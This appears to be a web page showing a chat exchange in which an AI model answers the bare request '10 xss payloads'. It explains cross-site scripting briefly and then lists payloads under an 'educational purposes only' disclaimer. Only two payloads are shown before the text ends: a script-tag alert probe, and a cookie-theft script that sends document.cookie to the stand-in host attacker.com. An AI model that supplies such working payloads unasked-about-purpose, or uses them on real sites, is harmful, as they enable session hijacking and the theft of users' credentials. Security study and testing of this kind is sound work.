10 xss payloads
- User
10 xss payloads
- Assistant
Cross-Site Scripting (XSS) is a security vulnerability that allows attackers to inject malicious scripts into webpages viewed by other users. XSS payloads are the actual malicious scripts or data that attackers use to exploit the vulnerability. Here are 10 example XSS payloads that attackers might attempt to use. Note that these are provided for educational purposes only to raise awareness about XSS vulnerabilities:
- Basic Alert:
<script>alert('XSS');</script>- Cookie Theft:
<script>document.location='http://attacker.com/steal-cookie?cookie=' + encodeURIComponent(document.cookie);</script>
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.